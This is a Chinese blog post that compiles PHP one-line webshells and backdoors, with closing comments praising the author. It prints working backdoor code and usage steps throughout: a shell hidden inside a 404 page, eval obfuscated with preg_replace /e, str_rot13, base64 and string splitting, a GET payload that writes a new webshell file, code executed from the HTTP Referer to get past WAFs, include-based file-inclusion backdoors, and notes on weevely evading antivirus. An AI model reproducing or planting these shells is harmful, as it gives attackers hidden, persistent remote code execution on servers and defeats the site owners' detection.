1379天 Edwiin

本人熟练掌握linux,windows的开关机,擅长nfs,samba,ftp,dhcp,bind,apache,mail等各项服务的安装与卸载,精通shell,mysql,iptables,selinux等单词的拼写,了解虚拟化,存储,集群等相关汉字的书写。

各种隐蔽超强PHP一句话木马Webshell强悍变形免杀大全

发布于 5天前 / 22 次围观 / 4 条评论 / 技术学习 / Edwiin

      由于PHP一句话木马可以说有很多,简单的、中等的、复杂的.......,今天主要是分享一些各种隐蔽超强PHP一句话木马Webshell强悍变形免杀大全;

一、利用404页面隐藏PHP小马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

利用方法:

      404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

二、无特征隐藏PHP一句话

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

利用方法:

      将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

三、超级隐蔽的PHP后门

<?php $_GET[a]($_GET[b]);?>

      仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

      执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

四、层级请求,编码运行PHP后门

      此方法用两个文件实现,文件1:

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}

文件2:

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);

利用方法:

      通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

五、PHP后门生成工具weevely

      weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

      weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

六、三个变形的一句话PHP木马

第一个:

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

      在菜刀里写 http://site/1.php?2=assert 密码是1;

第二个:

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

      在菜刀里写 http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个:

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

      str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

七、6个高级的PHP一句话木马后门

第一个:菜刀一句话

<?php
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");

第二个:危险的include函数,直接编译任何文件为php格式运行

<?php
$filename=$_GET['xbid'];
include ($filename);

第三个:重命名任何文件

<?php
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

第四个:菜刀一句话

<?php
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");

第五个:危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif;gif插一句话;

<?php
include ($uid);

第六个:8个典型的PHP一句话木马(程序后门代码)

1、

<?php eval_r($_POST[sb])?>

2、

<?php @eval_r($_POST[sb])?>
//容错代码

3、

<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句

4、

<?$_POST['sa']($_POST['sb']);?>

5、

<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>

6、

<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

7、

<O>h=@eval_r($_POST1);</O>

8、

<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
  1. 4天前
    @

    大。。。大佬

    • 4天前
      @ NO

      @欧文斯:大佬!这么快就过来了啊!

      • 4天前
        @ NO

        @Edwiin:刚好在电脑边上,大佬是真技术大佬,完全看不懂

        • 4天前
          @ NO

          @欧文斯:没有吧,复制粘贴而已。